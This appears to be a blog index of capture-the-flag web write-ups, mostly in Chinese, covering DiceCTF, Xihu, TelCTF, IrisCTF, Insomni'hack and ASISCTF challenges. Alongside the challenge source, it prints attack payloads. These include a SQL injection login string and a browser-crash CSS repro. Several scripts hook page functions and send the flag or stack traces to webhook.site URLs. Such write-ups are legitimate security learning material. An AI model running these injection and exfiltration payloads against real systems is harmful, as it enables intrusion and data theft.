DiceCTF


another-csp

index.js

import { createServer } from 'http';
import { readFileSync } from 'fs';
import { spawn } from 'child_process'
import { randomInt } from 'crypto';

const sleep = timeout => new Promise(resolve => setTimeout(resolve, timeout));
const wait = child => new Promise(resolve => child.on('exit', resolve));
const index = readFileSync('index.html', 'utf-8');

let token = randomInt(2 ** 24).toString(16).padStart(6, '0');
let browserOpen = false;

const visit = async code => {
	browserOpen = true;
	const proc = spawn('node', ['visit.js', token, code], { detached: true });

	await Promise.race([
		wait(proc),
		sleep(10000)
	]);

	if (proc.exitCode === null) {
		process.kill(-proc.pid);
	}
	browserOpen = false;
}

createServer(async (req, res) => {
	const url = new URL(req.url, 'http://localhost/');
	if (url.pathname === '/') {
		return res.end(index);
	} else if (url.pathname === '/bot') {
		if (browserOpen) return res.end('already open!');
		const code = url.searchParams.get('code');
		if (!code || code.length > 1000) return res.end('no');
		visit(code);
		return res.end('visiting');
	} else if (url.pathname === '/flag') {
		if (url.searchParams.get('token') !== token) {
			res.end('wrong');
			await sleep(1000);
			process.exit(0);
		}
		return res.end(process.env.FLAG ?? 'dice{flag}');
	}
	return res.end();
}).listen(8080);

visit.js

import puppeteer from 'puppeteer';

const browser = await puppeteer.launch({
	pipe: true,
	args: [
		'--no-sandbox',
		'--disable-setuid-sandbox',
		'--js-flags=--noexpose_wasm,--jitless',
		'--incognito'
	],
	dumpio: true,
	headless: 'new'
});

const [token, code] = process.argv.slice(2);

try {
	const page = await browser.newPage();
	await page.goto('http://127.0.0.1:8080');
	await page.evaluate((token, code) => {
		localStorage.setItem('token', token);
		document.getElementById('code').value = code;
	}, token, code);
	await page.click('#submit');
	await page.waitForFrame(frame => frame.name() == 'sandbox', { timeout: 1000 });
	await page.close();
} catch(e) {
	console.error(e);
};

await browser.close();

只等待1s

await page.waitForFrame(frame => frame.name() == 'sandbox', { timeout: 1000 });

[CSS:在相对颜色语法中使用 color-mix 制作的颜色会导致选项卡崩溃并显示 SIGILL 41490764] - Chromium

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>CSS SIGILL Issue Repro</title>  
    <style>  
        div {  
            --c1: color-mix(in srgb, blue 50%, red);  
            --c2: srgb(from var(--c1) r g b);  
            background-color: var(--c2);  
        }  
    </style>  
</head>  
<body>  
    <div>This should be purple</div>  
</body>  
</html>  

终止报错

<link rel="stylesheet" href="https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f"><iframe src="http://localhost/flag" csp="img-src <https://*>; defascript-srcult-sscript-srcrc <https://*>; repscript-srcort-uscript-srcri <https://*>;" referrerpolicy="no-referrer">





<img src="https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f">
<script>
flag=document.getElementsByTagName("pre")[0];
fetch("https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f?flag=${encodeURIComponent(flag)}")
    .then(response => {
        // 检查响应状态
        if (!response.ok) {
            throw new Error(`HTTP error! Status: ${response.status}`);
        }
        // 将响应转换为 JSON
        return response.json();
    })
    );
</script>
</iframe>

dicedicegoose

image-20240206131947119

Read more ⟶

西湖论剑


only_sql

连上自己的数据库,load data写文件进去

读到源码:

<?php
error_reporting(0);
// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';

$db_host = $_POST["db_host"];
$db_username = $_POST["db_username"];
$db_password = $_POST["db_password"];
$db_name = $_POST["db_name"];
if(isset($db_host)){
    try {
        $dsn = "mysql:host=$db_host;dbname=$db_name";
        $pdo = new PDO($dsn, $db_username, $db_password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $_SESSION['dsn']=$dsn;
        $_SESSION['db_username']=$db_username;
        $_SESSION['db_password']=$db_password;
    } catch (Exception $e) {
       die($e->getMessage());
    }
}
if(!isset($_SESSION['dsn'])){
    die("<script>alert('请先连接数据库');window.location.href='index.php'</script>");
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>执行数据库命令</title>
    <link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
    <div class="container">
        <h1>执行数据库命令</h1>
        <form action="query.php" method="post">
            <div class="form-group">
                <label for="db_command">MySQL命令:</label>
                <input type="text" id="db_command" name="db_command" style="width: 500px;" required>
            </div>
            <div class="form-group">
                <button type="submit">执行命令</button>
            </div>
        </form>

        <div class="result">
           
            <?php
            if (isset($_POST['db_command'])) {
                $db_command = $_POST["db_command"];
                $dsn=$_SESSION['dsn'];
                $db_username = $_SESSION['db_username'];
                $db_password = $_SESSION['db_password'];

                try {
                    $pdo = new PDO($dsn, $db_username, $db_password,array(PDO::MYSQL_ATTR_LOCAL_INFILE => true));
                    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

                    $stmt = $pdo->prepare($db_command);
                    $stmt->execute();
                    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);

                    if ($result) {
                        echo "<h2>执行结果:</h2>";
                        echo "<table>";
                        echo "<tr>";
                        foreach (array_keys($result[0]) as $column) {
                            echo "<th>$column</th>";
                        }
                        echo "</tr>";
                        foreach ($result as $row) {
                            echo "<tr>";
                            foreach ($row as $value) {
                                echo "<td>$value</td>";
                            }
                            echo "</tr>";
                        }
                        echo "</table>";
                    } else {
                        echo "<p>没有结果返回。</p>";
                    }
                } catch (Exception $e) {
                    echo "<p class='error-message'>执行错误:" . $e->getMessage() . "</p>";
                }
            }
            ?>
        </div>
    </div>
</body>
</html>

eeee 没啥用

直接读flag———明明说是sql结果flag不在数据库里面

Read more ⟶

TelCTF


Stress Release Service

Stress Release Service:

Chall name:
- Stress Release Service

Category:
- Misc / Web

Author:
- tsug0d

Description:
For a better New Year, we are introducing a service that can help you reduce stress: <http://192.53.173.71:8080> . As our service is only available during the New Year, we are also providing you with a code for later use in material section.

StressReleaseService__give.zip

It is using preg_match to validate.

为啥是misc题啊

限制7个字符长度,可能需要点脑洞吧(

tiniest php webshell?

https://www.pentestpartners.com/security-blog/the-tiniest-php-system-shell-ever/

抽象,反引号或者想办法传参?

CTFshow_rce极限大挑战

他不限制在7个字符可以看下面这张图../TelCTF/image-20240204224839567

Read more ⟶

RW-be


Be-a-Security-Researcher

开局login

Read more ⟶

IrisCTF


What’s My Password

sql injection

{"username":"skat","password":"\" union select username,password from users where username=\"skat\"#"}

LameNote

Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}

Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)

nc lamenote-adminbot.chal.irisc.tf 10300

Hint!
Please redownload if you downloaded server files at the start of the event.

lamenote.tar.gz

Read more ⟶

Insomni'hack


InsoBank

by clZ

We're launching a new online Bank today which is of course backed by crypto and AI which makes it better than any other banking system out there.

It's not fully featured yet as you can only transfer money within your own accounts, but you can already see how superior it is to other systems:

http://91.92.201.197:3000/

Source: here
for (accountid,name,balance) in cursor.fetchall():
        if balance > 13.37:
            results[accountid] = {'name': name, 'balance': balance, 'flag': FLAG}
Read more ⟶

My 2023


2023

emmm,我也想总结一下下(QWQ)我的2023。

Read more ⟶

强网杯2023


Web

给了docker,代码逻辑

Read more ⟶

楚慧杯


楚慧杯

eaaeval

打开题目,源码给了用户密码

Read more ⟶

ASISCTF


Pupptear:

***报错追踪文件名字

Do you know what Puppeteer's friends call him when he cries? Pupptear... hahahaah

[attachment](<https://asisctf.com/tasks/pupptear_0ab53ea3b73da58a4d0854bf42ec1ea166283b3e.txz>)

nc 18.195.96.13 2000

Flag format for Pupptear: ^ASIS{[^{}]+}$

pupptear.txz

oh ok

I get the concept.

url = input('input URL (b64ed): ')
if(not re.match('^[A-Za-z0-9=+/]+$',url)):
	print('bad URL')
	exit(1)

os.close(0)
os.close(1)
os.close(2)

containerName = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(0x10))
os.system(f'bash -c "sleep 5 && docker kill {containerName} 2>/dev/null" &')
os.system(f'docker run --name {containerName} pupptear bash -c \\'/ASIS*/index.js {url}\\' ')
#!/usr/bin/env node
const puppeteer = require('puppeteer')

const flag = 'flag{test-flag}';

async function visit(url){
	let browser;

	if(!/^https?:\\/\\//.test(url)){
		return;
	}

	try{
		browser = await puppeteer.launch({
		    pipe: true,
		    args: [
		        "--no-sandbox",
		        "--disable-setuid-sandbox",
		        "--js-flags=--noexpose_wasm,--jitless",
		        "--ignore-certificate-errors",
		    ],
		    executablePath: "/usr/bin/google-chrome-stable",
		    headless: 'new'
		});

		let page = await browser.newPage();
		await page.goto(url,{ timeout: 2000 });
		await page.waitForFunction(flag=>{
			let el = document.getElementById('flag')
			if(!el) return false
			el.value = flag
			return true
		},{ timeout: 2000 },flag)
		await new Promise(r=>setTimeout(r,3000));
	}catch(e){}
	try{await browser.close();}catch(e){}
	process.exit(0)
}

get folder name? have no idea.

need to check if we can get flag during page move delayimage-20240101163004369

fake flag. need to get folder name. i guess stacktrace from waitforfunction?

WORKDIR /app
COPY ./stuff/ /app/
RUN PUPPETEER_SKIP_DOWNLOAD=1 npm ci
RUN chmod +x /app/index.js
RUN useradd -m www
RUN chmod 777 /home/www/ -R
ENV FLAG=ASIS{test-flag}
RUN mv /app/ /$FLAG/
WORKDIR /
USER www

I guess yes.

One way is to hook Error and find filename, but I have to install puppeteer for testing. I don’t know how things work internally for puppeteer😕

If no one solves it I will try out sometime tomorrow.

i dont know either. ppt is heavily coupled with chrome devtools, i guess the function execution is a part of devtools protocol.

hook getElementById, read stacktrace.

solved:

<!DOCTYPE html>
<body>
  <input type="text" id="flag" />
  <script>
    const oldFunc = document.getElementById
    document.getElementById = function(id) {
      const e = new Error();
      const stack = e.stack.split('\\n');
      fetch(`${document.location.href}`, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          id,
          stack
        })
      })
      return oldFunc.apply(document, arguments)
    }
  </script>
</body>

or

<!DOCTYPE html>
<body>
<script>
const HOOK_URL = "https://webhook.site/ae22bc03-bb75-4080-9702-36cbb57cc53d";

let sent = false;
function hook() {
  if (sent) return;
  sent = true;

  const e = new Error();
  navigator.sendBeacon(HOOK_URL, e.stack);
}
document.getElementById = hook;
</script>
</body>
Read more ⟶